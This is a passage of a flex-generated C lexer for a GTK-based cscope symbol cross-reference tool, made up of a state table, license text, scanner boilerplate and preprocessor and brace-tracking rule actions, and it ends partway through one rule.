78, 78, 272, 64, 271, 64, 80, 80, 80, 80,
92, 92, 92, 92, 95, 95, 95, 95, 270, 104,
92, 104, 104, 269, 67, 92, 96, 96, 96, 96,
106, 106, 106, 106, 107, 106, 107, 107, 108, 268,
109, 108, 109, 109, 113, 106, 119, 113, 126, 119,
109, 126, 267, 134, 104, 117, 117, 117, 117, 146,
104, 260, 146, 259, 134, 117, 117, 134, 170, 256,
117, 170, 107, 112, 112, 112, 112, 124, 124, 124,
124, 112, 254, 253, 112, 112, 112, 112, 112, 112,
112, 178, 124, 112, 178, 125, 125, 125, 125, 181,
251, 136, 181, 112, 248, 112, 115, 115, 115, 115,
125, 247, 136, 185, 115, 136, 185, 115, 115, 115,
115, 115, 115, 115, 124, 245, 115, 138, 138, 138,
138, 139, 139, 139, 139, 244, 115, 188, 115, 120,
188, 120, 125, 149, 149, 149, 149, 120, 120, 120,
120, 243, 242, 144, 144, 144, 144, 240, 120, 120,
120, 120, 120, 144, 120, 239, 234, 157, 144, 157,
157, 120, 121, 121, 121, 121, 150, 150, 150, 150,
121, 232, 231, 121, 121, 121, 121, 121, 121, 121,
230, 161, 121, 161, 161, 168, 168, 168, 168, 228,
207, 226, 121, 207, 121, 168, 168, 225, 224, 223,
168, 183, 183, 183, 183, 199, 219, 199, 199, 184,
184, 184, 184, 218, 215, 200, 183, 200, 200, 161,
166, 166, 166, 166, 184, 213, 214, 229, 166, 214,
229, 166, 166, 166, 166, 166, 166, 166, 233, 212,
166, 233, 205, 246, 205, 205, 246, 211, 183, 208,
166, 252, 166, 167, 252, 167, 184, 235, 206, 235,
235, 167, 167, 167, 167, 227, 227, 227, 227, 204,
203, 202, 167, 167, 167, 167, 167, 205, 167, 238,
227, 238, 238, 205, 201, 167, 176, 176, 176, 176,
241, 198, 241, 241, 176, 197, 196, 176, 176, 176,
176, 176, 176, 176, 255, 195, 176, 255, 257, 257,
257, 257, 258, 194, 261, 258, 176, 261, 176, 177,
177, 177, 177, 257, 193, 287, 261, 177, 287, 192,
177, 177, 177, 177, 177, 177, 177, 190, 262, 177,
262, 262, 265, 291, 265, 265, 291, 293, 189, 177,
293, 177, 179, 266, 179, 266, 266, 187, 182, 180,
179, 179, 179, 179, 279, 312, 279, 279, 312, 172,
171, 179, 179, 179, 179, 179, 281, 179, 281, 281,
283, 164, 283, 283, 179, 216, 216, 216, 216, 163,
162, 160, 159, 216, 158, 156, 216, 216, 216, 216,
216, 216, 216, 155, 282, 216, 282, 282, 282, 154,
153, 152, 151, 148, 147, 216, 143, 216, 217, 142,
217, 140, 132, 282, 129, 128, 217, 217, 217, 217,
296, 123, 296, 296, 296, 122, 105, 217, 217, 217,
217, 217, 103, 217, 101, 99, 98, 94, 93, 296,
217, 237, 237, 91, 237, 237, 237, 237, 237, 237,
237, 237, 237, 237, 237, 237, 237, 237, 237, 237,
237, 237, 237, 237, 237, 237, 237, 237, 237, 237,
237, 237, 237, 237, 237, 237, 237, 237, 237, 237,
237, 237, 237, 237, 237, 237, 237, 237, 237, 237,
237, 273, 273, 273, 273, 90, 87, 75, 73, 56,
52, 273, 273, 51, 45, 44, 273, 273, 273, 43,
42, 41, 39, 32, 19, 8, 7, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 273, 285,
285, 285, 285, 0, 0, 0, 0, 0, 0, 285,
285, 0, 0, 0, 285, 0, 285, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 285, 286, 286, 286,
286, 0, 0, 0, 0, 0, 0, 286, 286, 0,
0, 0, 286, 286, 286, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 286, 288, 288, 288, 288, 0,
0, 0, 0, 0, 0, 288, 288, 0, 0, 0,
288, 288, 288, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 288, 299, 299, 299, 299, 0, 0, 0,
0, 0, 0, 299, 299, 0, 0, 0, 299, 299,
299, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
299, 300, 300, 300, 300, 0, 0, 0, 0, 0,
0, 300, 300, 0, 0, 0, 300, 300, 300, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 300, 309,
309, 309, 309, 0, 0, 0, 0, 0, 0, 309,
309, 0, 0, 0, 309, 309, 309, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 309, 318, 318, 318,
318, 318, 318, 318, 318, 318, 318, 318, 318, 318,
318, 318, 318, 318, 318, 319, 319, 319, 319, 319,
319, 319, 319, 319, 319, 319, 319, 319, 319, 319,
319, 319, 319, 320, 320, 320, 320, 320, 320, 320,
320, 320, 320, 320, 320, 320, 320, 320, 320, 320,
320, 321, 321, 321, 321, 321, 321, 321, 321, 321,
321, 321, 321, 321, 321, 321, 321, 321, 321, 322,
322, 322, 322, 322, 322, 322, 322, 322, 322, 322,
322, 322, 322, 322, 322, 322, 322, 323, 0, 0,
0, 0, 0, 0, 323, 0, 323, 323, 324, 0,
324, 0, 324, 325, 0, 0, 0, 0, 0, 0,
325, 0, 325, 325, 326, 326, 326, 0, 0, 326,
0, 326, 0, 326, 0, 326, 0, 0, 326, 326,
327, 327, 327, 0, 0, 327, 327, 0, 327, 327,
327, 327, 327, 0, 327, 327, 328, 328, 328, 0,
0, 328, 0, 0, 0, 0, 0, 328, 0, 0,
328, 328, 328, 329, 329, 329, 329, 329, 329, 329,
329, 329, 329, 329, 329, 329, 329, 329, 329, 329,
329, 330, 330, 330, 330, 330, 330, 330, 330, 330,
330, 0, 330, 330, 330, 330, 330, 330, 330, 331,
331, 331, 331, 331, 331, 331, 331, 331, 331, 331,
331, 331, 331, 331, 331, 331, 331, 332, 332, 332,
332, 332, 332, 332, 332, 332, 332, 332, 332, 332,
332, 332, 332, 332, 332, 333, 0, 0, 0, 0,
0, 0, 333, 0, 333, 333, 334, 334, 334, 0,
0, 334, 334, 0, 334, 334, 334, 334, 334, 0,
334, 334, 335, 335, 335, 0, 335, 0, 0, 335,
335, 0, 0, 335, 0, 0, 335, 335, 335, 336,
336, 336, 0, 0, 336, 336, 0, 336, 336, 336,
336, 336, 0, 336, 336, 337, 337, 337, 337, 337,
337, 337, 337, 337, 337, 337, 337, 337, 337, 337,
337, 337, 337, 338, 338, 338, 338, 338, 338, 338,
338, 338, 338, 338, 338, 338, 338, 338, 338, 338,
338, 339, 339, 339, 0, 0, 339, 0, 0, 0,
0, 0, 339, 339, 0, 339, 339, 339, 340, 340,
340, 340, 340, 340, 340, 340, 340, 340, 340, 340,
340, 340, 340, 340, 340, 340, 341, 341, 341, 341,
341, 341, 341, 341, 341, 341, 341, 341, 341, 341,
341, 341, 341, 341, 342, 342, 342, 342, 342, 342,
342, 342, 342, 342, 342, 342, 342, 342, 342, 342,
342, 342, 343, 343, 343, 343, 343, 343, 343, 343,
343, 343, 343, 343, 343, 343, 343, 343, 343, 343,
344, 344, 344, 344, 344, 344, 344, 344, 344, 344,
344, 344, 344, 344, 344, 344, 344, 344, 345, 345,
345, 345, 345, 345, 345, 345, 345, 345, 345, 345,
345, 345, 345, 345, 345, 345, 346, 346, 346, 0,
0, 346, 346, 0, 346, 346, 346, 346, 346, 0,
346, 346, 347, 347, 347, 347, 347, 347, 347, 347,
347, 347, 347, 347, 347, 347, 347, 347, 347, 347,
348, 348, 348, 348, 348, 348, 348, 348, 348, 348,
348, 348, 348, 348, 348, 348, 348, 348, 349, 349,
349, 349, 349, 349, 349, 349, 349, 349, 349, 349,
349, 349, 349, 349, 349, 349, 350, 350, 350, 350,
350, 350, 350, 350, 350, 350, 350, 350, 350, 350,
350, 350, 350, 350, 351, 351, 351, 351, 351, 351,
351, 351, 351, 351, 351, 351, 351, 351, 351, 351,
351, 351, 352, 352, 352, 352, 352, 352, 352, 352,
352, 352, 352, 352, 352, 352, 352, 352, 352, 352,
353, 353, 353, 353, 353, 353, 353, 353, 353, 353,
353, 353, 353, 353, 353, 353, 353, 353, 354, 354,
354, 354, 354, 354, 354, 354, 354, 354, 354, 354,
354, 354, 354, 354, 354, 354, 355, 355, 355, 355,
355, 355, 355, 355, 355, 355, 355, 355, 355, 355,
355, 355, 355, 355, 356, 356, 356, 356, 356, 356,
356, 356, 356, 356, 356, 356, 356, 356, 356, 356,
356, 356, 357, 357, 357, 357, 357, 357, 357, 357,
357, 357, 357, 357, 357, 357, 357, 357, 357, 357,
358, 358, 358, 358, 358, 358, 358, 358, 358, 358,
358, 358, 358, 358, 358, 358, 358, 358, 359, 359,
359, 359, 359, 359, 359, 359, 359, 359, 359, 359,
359, 359, 359, 359, 359, 359, 360, 360, 0, 360,
360, 360, 360, 360, 360, 360, 360, 360, 360, 360,
360, 360, 360, 360, 361, 361, 361, 361, 361, 361,
361, 361, 361, 361, 361, 361, 361, 361, 361, 361,
361, 361, 362, 362, 362, 362, 362, 362, 362, 362,
362, 362, 362, 362, 362, 362, 362, 362, 362, 362,
363, 363, 363, 363, 363, 363, 363, 363, 363, 363,
363, 363, 363, 363, 363, 363, 363, 363, 364, 364,
364, 0, 0, 364, 0, 0, 0, 0, 0, 364,
0, 0, 364, 364, 365, 0, 0, 0, 0, 365,
0, 0, 0, 365, 0, 0, 0, 0, 365, 365,
366, 366, 0, 366, 366, 366, 366, 366, 366, 366,
366, 366, 366, 366, 366, 366, 366, 366, 367, 367,
367, 0, 0, 367, 0, 367, 367, 0, 0, 367,
367, 0, 367, 367, 367, 368, 368, 368, 368, 368,
368, 368, 368, 368, 368, 368, 368, 368, 368, 368,
368, 368, 368, 369, 369, 369, 369, 369, 369, 369,
369, 369, 369, 369, 369, 369, 369, 369, 369, 369,
369, 370, 0, 0, 0, 0, 0, 0, 370, 0,
370, 370, 371, 0, 371, 0, 0, 371, 0, 0,
0, 0, 0, 0, 0, 0, 371, 371, 372, 372,
372, 0, 0, 372, 0, 372, 372, 0, 0, 372,
0, 0, 372, 372, 372, 373, 373, 373, 0, 0,
373, 0, 373, 373, 0, 0, 373, 373, 0, 373,
373, 373, 374, 374, 374, 374, 374, 374, 374, 374,
374, 374, 374, 374, 374, 374, 374, 374, 374, 374,
375, 0, 0, 0, 0, 0, 0, 375, 0, 375,
375, 376, 376, 0, 376, 0, 376, 376, 376, 376,
376, 376, 376, 376, 376, 376, 376, 376, 376, 377,
377, 0, 377, 377, 377, 377, 377, 377, 377, 377,
377, 377, 377, 0, 377, 377, 377, 378, 378, 378,
0, 0, 378, 0, 378, 378, 0, 0, 378, 378,
0, 378, 378, 378, 379, 379, 379, 379, 379, 379,
379, 379, 379, 379, 379, 379, 379, 379, 379, 379,
379, 379, 380, 380, 380, 380, 380, 380, 380, 380,
380, 380, 380, 380, 380, 380, 380, 380, 380, 380,
381, 381, 381, 381, 381, 381, 381, 381, 381, 381,
381, 381, 381, 381, 381, 381, 381, 381, 317, 317,
317, 317, 317, 317, 317, 317, 317, 317, 317, 317,
317, 317, 317, 317, 317, 317, 317, 317, 317, 317,
317, 317, 317, 317, 317, 317, 317, 317, 317, 317,
317, 317, 317, 317, 317, 317, 317, 317, 317, 317,
317, 317, 317, 317, 317, 317, 317, 317, 317
} ;
static yy_state_type yy_last_accepting_state;
static char *yy_last_accepting_cpos;
extern int yy_flex_debug;
int yy_flex_debug = 0;
/* The intent behind this definition is that it'll catch
* any uses of REJECT which flex missed.
*/
#define REJECT reject_used_but_not_detected
static int yy_more_flag = 0;
static int yy_more_len = 0;
#define yymore() ((yy_more_flag) = 1)
#define YY_MORE_ADJ (yy_more_len)
#define YY_RESTORE_YY_MORE_OFFSET
char *yytext;
#line 1 "scanner.l"
#line 2 "scanner.l"
// 8/5/2016 TEF : To build scanner.c use the following command: flex -oscanner.c scanner.l
// Scanner changes so rarely that I didn't bother adding it to the Makefile
/*===========================================================================
Copyright (c) 1998-2000, The Santa Cruz Operation
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
*Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
*Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
*Neither name of The Santa Cruz Operation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
=========================================================================*/
/* cscope - interactive C symbol cross-reference
*
* C symbol scanner
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <gtk/gtk.h>
#include <assert.h>
#include <string.h>
#include <glib.h>
#include <stdint.h>
#include "scanner.h"
#include "lookup.h"
#include "crossref.h"
#include "dir.h"
#include "utils.h"
#include "app_config.h"
#define PATLEN PATHLEN /* symbol pattern length */
#define STMTMAX 50000 /* maximum source statement length */
/* the line counting has been moved from character reading for speed */
/* comments are discarded */
#ifndef FLEX_SCANNER
# error Sorry, this scanner needs flex. It is not usable with AT&T Lex.
#endif
#define IFLEVELINC 5 /* #if nesting level size increment */
#define YY_NO_TOP_STATE 1
int first; /* buffer index for first char of symbol */
int last; /* buffer index for last char of symbol */
int lineno; /* symbol line number */
int myylineno = 1;
/* HBB 20001007: new variables, emulating yytext in a way that allows
* the yymore() simulation, my_yymore(), to be used even in the presence of
* yyless(). */
size_t my_yyleng = 0;
char *my_yytext = NULL;
static gboolean arraydimension; /* inside array dimension declaration */
static gboolean bplisting; /* breakpoint listing */
static int braces; /* unmatched left brace count */
static gboolean classdef; /* c++ class definition */
static gboolean elseelif; /* #else or #elif found */
static gboolean esudef; /* enum/struct/union global definition */
static gboolean external; /* external definition */
static int externalbraces; /* external definition outer brace count */
static gboolean fcndef; /* function definition */
static gboolean global; /* file global scope (outside functions) */
static size_t iflevel; /* #if nesting level */
static gboolean initializer; /* data initializer */
static int initializerbraces; /* data initializer outer brace count */
static gboolean lex; /* lex file */
static size_t miflevel = IFLEVELINC; /* maximum #if nesting level */
static int *maxifbraces; /* maximum brace count within #if */
static int *preifbraces; /* brace count before #if */
static int parens; /* unmatched left parenthesis count */
static gboolean ppdefine; /* preprocessor define statement */
static gboolean pseudoelif; /* pseudo-#elif */
static gboolean oldtype; /* next identifier is an old type */
static gboolean rules; /* lex/yacc rules */
static gboolean sdl; /* sdl file */
static gboolean structfield; /* structure field declaration */
static int tagdef; /* class/enum/struct/union tag definition */
static gboolean template; /* function template */
static int templateparens; /* function template outer parentheses count */
static int typedefbraces = -1; /* initial typedef brace count */
static int token; /* token found */
static int ident_start; /* begin of preceding identifier */
static void my_yymore(void);
/* flex options: stack of start conditions, and don't use yywrap() */
/* exclusive start conditions. not available in AT&T lex -> use flex! */
#line 1183 "scanner.c"
#define INITIAL 0
#define SDL 1
#define IN_PREPROC 2
#define WAS_ENDIF 3
#define WAS_IDENTIFIER 4
#define WAS_ESU 5
#define IN_DQUOTE 6
#define IN_SQUOTE 7
#define COMMENT 8
#ifndef YY_NO_UNISTD_H
/* Special case for "unistd.h", since it is non-ANSI. We include it way
* down here because we want the user's section 1 to have been scanned first.
* The user has a chance to override it with an option.
*/
#include <unistd.h>
#endif
#ifndef YY_EXTRA_TYPE
#define YY_EXTRA_TYPE void *
#endif
static int yy_init_globals (void );
/* Accessor methods to globals.
These are made visible to non-reentrant scanners for convenience. */
int yylex_destroy (void );
int yyget_debug (void );
void yyset_debug (int debug_flag );
YY_EXTRA_TYPE yyget_extra (void );
void yyset_extra (YY_EXTRA_TYPE user_defined );
FILE *yyget_in (void );
void yyset_in (FILE * in_str );
FILE *yyget_out (void );
void yyset_out (FILE * out_str );
int yyget_leng (void );
char *yyget_text (void );
int yyget_lineno (void );
void yyset_lineno (int line_number );
/* Macros after this point can all be overridden by user definitions in
* section 1.
*/
#ifndef YY_SKIP_YYWRAP
#ifdef __cplusplus
extern "C" int yywrap (void );
#else
extern int yywrap (void );
#endif
#endif
static void yyunput (int c,char *buf_ptr );
#ifndef yytext_ptr
static void yy_flex_strncpy (char *,yyconst char *,int );
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (yyconst char * );
#endif
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput (void );
#else
static int input (void );
#endif
#endif
static int yy_start_stack_ptr = 0;
static int yy_start_stack_depth = 0;
static int *yy_start_stack = NULL;
static void yy_push_state (int new_state );
static void yy_pop_state (void );
static int yy_top_state (void );
/* Amount of stuff to slurp up with each read. */
#ifndef YY_READ_BUF_SIZE
#define YY_READ_BUF_SIZE 8192
#endif
/* Copy whatever the last rule matched to the standard output. */
#ifndef ECHO
/* This used to be an fputs(), but since the string might contain NUL's,
* we now use fwrite().
*/
#define ECHO do { if (fwrite( yytext, yyleng, 1, yyout )) {} } while (0)
#endif
/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL,
* is returned in "result".
*/
#ifndef YY_INPUT
#define YY_INPUT(buf,result,max_size) \
if ( YY_CURRENT_BUFFER_LVALUE->yy_is_interactive ) \
{ \
int c = '*'; \
unsigned n; \
for ( n = 0; n < max_size && \
(c = getc( yyin )) != EOF && c != '\n'; ++n ) \
buf[n] = (char) c; \
if ( c == '\n' ) \
buf[n++] = (char) c; \
if ( c == EOF && ferror( yyin ) ) \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
result = n; \
} \
else \
{ \
errno=0; \
while ( (result = fread(buf, 1, max_size, yyin))==0 && ferror(yyin)) \
{ \
if( errno != EINTR) \
{ \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
break; \
} \
errno=0; \
clearerr(yyin); \
} \
}\
\
#endif
/* No semi-colon after return; correct usage is to write "yyterminate();" -
* we don't want an extra ';' after the "return" because that will cause
* some compilers to complain about unreachable statements.
*/
#ifndef yyterminate
#define yyterminate() return YY_NULL
#endif
/* Number of entries by which start-condition stack grows. */
#ifndef YY_START_STACK_INCR
#define YY_START_STACK_INCR 25
#endif
/* Report a fatal error. */
#ifndef YY_FATAL_ERROR
#define YY_FATAL_ERROR(msg) yy_fatal_error( msg )
#endif
/* end tables serialization structures and prototypes */
/* Default declaration of generated scanner - a define so the user can
* easily add parameters.
*/
#ifndef YY_DECL
#define YY_DECL_IS_OURS 1
extern int yylex (void);
#define YY_DECL int yylex (void)
#endif /* !YY_DECL */
/* Code executed at the beginning of each rule, after yytext and yyleng
* have been set up.
*/
#ifndef YY_USER_ACTION
#define YY_USER_ACTION
#endif
/* Code executed at the end of each rule. */
#ifndef YY_BREAK
#define YY_BREAK break;
#endif
#define YY_RULE_SETUP \
if ( yyleng > 0 ) \
YY_CURRENT_BUFFER_LVALUE->yy_at_bol = \
(yytext[yyleng - 1] == '\n'); \
YY_USER_ACTION
/** The main scanner function which does all the work.
*/
YY_DECL
{
register yy_state_type yy_current_state;
register char *yy_cp, *yy_bp;
register int yy_act;
#line 134 "scanner.l"
#line 1389 "scanner.c"
if ( !(yy_init) )
{
(yy_init) = 1;
#ifdef YY_USER_INIT
YY_USER_INIT;
#endif
if ( ! (yy_start) )
(yy_start) = 1; /* first start state */
if ( ! yyin )
yyin = stdin;
if ( ! yyout )
yyout = stdout;
if ( ! YY_CURRENT_BUFFER ) {
yyensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
yy_create_buffer(yyin,YY_BUF_SIZE );
}
yy_load_buffer_state( );
}
while ( 1 ) /* loops until end-of-file is reached */
{
(yy_more_len) = 0;
if ( (yy_more_flag) )
{
(yy_more_len) = (yy_c_buf_p) - (yytext_ptr);
(yy_more_flag) = 0;
}
yy_cp = (yy_c_buf_p);
/* Support of yytext. */
*yy_cp = (yy_hold_char);
/* yy_bp points to the position in yy_ch_buf of the start of
* the current run.
*/
yy_bp = yy_cp;
yy_current_state = (yy_start);
yy_current_state += YY_AT_BOL();
yy_match:
do
{
register YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)];
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 318 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
++yy_cp;
}
while ( yy_base[yy_current_state] != 2179 );
yy_find_action:
yy_act = yy_accept[yy_current_state];
if ( yy_act == 0 )
{ /* have to back up */
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
yy_act = yy_accept[yy_current_state];
}
YY_DO_BEFORE_ACTION;
do_action: /* This label is used only to access EOF actions. */
switch ( yy_act )
{ /* beginning of action switch */
case 0: /* must back up */
/* undo the effects of YY_DO_BEFORE_ACTION */
*yy_cp = (yy_hold_char);
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
goto yy_find_action;
case 1:
YY_RULE_SETUP
#line 136 "scanner.l"
{ /* lex/yacc C declarations/definitions */
global = TRUE;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 2:
YY_RULE_SETUP
#line 141 "scanner.l"
{
global = FALSE;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 3:
YY_RULE_SETUP
#line 146 "scanner.l"
{ /* lex/yacc rules delimiter */
braces = 0;
if (rules == FALSE) {
/* this %% starts the section containing the rules */
rules = TRUE;
/* Copy yytext to private buffer, to be able to add further
* content following it: */
my_yymore();
/* simulate a yylex() or yyparse() definition */
(void) strcat(my_yytext, " /* ");
first = strlen(my_yytext);
if (lex == TRUE) {
(void) strcat(my_yytext, "yylex");
} else {
/* yacc: yyparse implicitly calls yylex */
char *s = " yylex()";
char *cp = s + strlen(s);
while (--cp >= s) {
unput(*cp);
}
(void) strcat(my_yytext, "yyparse");
}
last = strlen(my_yytext);
(void) strcat(my_yytext, " */");
my_yyleng = strlen(my_yytext);
return(FCNDEF);
} else {
/* were in the rules section, now comes the closing one */
rules = FALSE;
global = TRUE;
last = first;
my_yymore();
return(FCNEND);
/* NOTREACHED */
}
}
YY_BREAK
case 4:
YY_RULE_SETUP
#line 185 "scanner.l"
{ /* sdl state, treat as function def */
braces = 1;
fcndef = TRUE;
token = FCNDEF;
goto findident;
/* NOTREACHED */
}
YY_BREAK
case 5:
YY_RULE_SETUP
#line 192 "scanner.l"
{ /* end of an sdl state, treat as end of a function */
goto endstate;
/* NOTREACHED */
}
YY_BREAK
case 6:
YY_RULE_SETUP
#line 197 "scanner.l"
{ /* count unmatched left braces for fcn def detection */
++braces;
/* mark an untagged enum/struct/union so its beginning
can be found */
if (tagdef) {
if (braces == 1) {
esudef = TRUE;
}
token = tagdef;
tagdef = '\0';
last = first;
my_yymore();
return(token);
}
goto more;
/* NOTREACHED */
}
YY_BREAK
case 7:
YY_RULE_SETUP
#line 216 "scanner.l"
{ /* start a preprocessor line */
if (rules == FALSE) /* don't consider CPP for lex/yacc rules */
BEGIN(IN_PREPROC);
yyleng = 1; /* get rid of the blanks, if any */
goto more;
/* NOTREACHED */
}
YY_BREAK
case 8:
YY_RULE_SETUP
#line 223 "scanner.l"
{ /* #endif */
/* delay treatment of #endif depending on whether an
* #if comes right after it, or not */
/* HBB 20010619: new pattern allows trailing garbage
* after the #endif */
BEGIN(WAS_ENDIF);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 9:
/* rule 9 can match eol */
YY_RULE_SETUP
#line 232 "scanner.l"
{
/* attempt to correct erroneous brace count caused by:
*
* #if ...
* ... {
* #endif
* #if ...
* ... {
* #endif
*/
/* the current #if must not have an #else or #elif */
if (elseelif == TRUE) {
goto endif;
/* NOTREACHED */
}
pseudoelif = TRUE;
BEGIN(INITIAL);
yyless(1); /* rescan all but the line ending */
yy_set_bol(1);
goto eol;
/* NOTREACHED */
}
YY_BREAK
case 10:
/* rule 10 can match eol */
YY_RULE_SETUP
#line 254 "scanner.l"
{ /* an #endif with no #if right after it */
endif:
if (iflevel > 0) {
/* get the maximum brace count for this #if */
if (braces < maxifbraces[--iflevel]) {
braces = maxifbraces[iflevel];
}
}
BEGIN(INITIAL);
yyless(1);
yy_set_bol(1);
goto eol;
/* NOTREACHED */
}
YY_BREAK
case 11:
#line 270 "scanner.l"
case 12:
#line 271 "scanner.l"
case 13:
YY_RULE_SETUP
#line 271 "scanner.l"
{ /* #if directive */
elseelif = FALSE;
if (pseudoelif == TRUE) {
pseudoelif = FALSE;
goto elif;
/* NOTREACHED */
}
/* make sure there is room for the current brace count */
if (iflevel == miflevel) {
miflevel += IFLEVELINC;
maxifbraces = g_realloc(maxifbraces, miflevel * sizeof(*maxifbraces));
preifbraces = g_realloc(preifbraces, miflevel * sizeof(*preifbraces));
}
/* push the current brace count */
preifbraces[iflevel] = braces;
maxifbraces[iflevel++] = 0;
BEGIN(INITIAL);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 14:
YY_RULE_SETUP
#line 291 "scanner.l"
{ /* #else --- eat up whole line */
elseelif = TRUE;
if (iflevel > 0) {
/* save the maximum brace count for this #if */
if (braces > maxifbraces[iflevel - 1]) {
maxifbraces[iflevel - 1] = braces;
}
/* restore the brace count to before the #if */
braces = preifbraces[iflevel - 1];
}
BEGIN(INITIAL);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 15:
YY_RULE_SETUP
#line 306 "scanner.l"
{ /* #elif */
/* elseelif = TRUE; --- HBB I doubt this is correct */
elif:
if (iflevel > 0) {
/* save the maximum brace count for this #if */
if (braces > maxifbraces[iflevel - 1]) {
maxifbraces[iflevel - 1] = braces;
}
/* restore the brace count to before the #if */
braces = preifbraces[iflevel - 1];
}
BEGIN(INITIAL);
goto more;
/* NOTREACHED */
}
YY_BREAK
case 16:
#line 324 "scanner.l"
case 17:
YY_RULE_SETUP
#line 324 "scanner.l"
{ /* #include file */
char *s;
char remember = yytext[yyleng-1];
my_yymore();
s = strpbrk(my_yytext, "\"<");
if (!s)
return(LEXERR);
my_yytext[my_yyleng-1] = '\0';
DIR_incfile(s + 1);
my_yytext[my_yyleng-1] = remember;
first = s - my_yytext;
last = my_yyleng - 1;
if (settings.compressDisable == FALSE) {
my_yytext[0] = '\2'; /* compress the keyword */
}
BEGIN(INITIAL);
return(INCLUDE);
/* NOTREACHED */
}
YY_BREAK
case 18:
YY_RULE_SETUP
#line 345 "scanner.l"
{
/* could be the last enum member initializer */
if (braces == initializerbraces) {
initializerbraces = -1;
initializer = FALSE;
}
if (--braces <= 0) {
endstate:
braces = 0;
classdef = FALSE;
}
if (braces == 0 || (braces == 1 && classdef == TRUE)) {
/* if the end of an enum/struct/union definition */
if (esudef == TRUE) {
esudef = FALSE;
}
/* if the end of the function */
else if (fcndef == TRUE) {
fcndef = FALSE;
last = first;
my_yymore();
return(FCNEND);
}
}
goto more;
/* NOTREACHED */
}
YY_BREAK
case 19:
YY_RULE_SETUP
#line 374 "scanner.l"
{ /* count unmatched left parentheses for function templates */
++parens;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 20:
YY_RULE_SETUP
#line 379 "scanner.l"
{
if (--parens <= 0) {
parens = 0;
}
/* if the end of a function template */
if (parens == templateparens) {
templateparens = -1;
template = FALSE;
}
goto more;
/* NOTREACHED */
}
YY_BREAK
case 21:
YY_RULE_SETUP
#line 391 "scanner.l"
{ /* if a global definition initializer */
if (!my_yytext)
return(LEXERR);
if (global == TRUE && ppdefine == FALSE && my_yytext[0] != '#') {
initializerbraces = braces;
initializer = TRUE;
}
goto more;
/* NOTREACHED */
}
YY_BREAK
case 22:
YY_RULE_SETUP
#line 401 "scanner.l"
{ /* a if global structure field */
if (!my_yytext)
return(LEXERR);
if (global == TRUE && ppdefine == FALSE && my_yytext[0] != '#') {
structfield = TRUE;
}
goto more;
/* NOTREACHED */
}
YY_BREAK
case 23:
YY_RULE_SETUP
#line 410 "scanner.l"
{
if (braces == initializerbraces) {
initializerbraces = -1;
initializer = FALSE;
}
structfield = FALSE;
goto more;
/* NOTREACHED */
}
YY_BREAK
case 24:
YY_RULE_SETUP
#line 419 "scanner.l"
{ /* if the enum/struct/union was not a definition */
if (braces == 0) {
esudef = FALSE;
}
/* if the end of a typedef */
if (braces == typedefbraces) {
typedefbraces = -1;
}
/* if the end of a external definition */
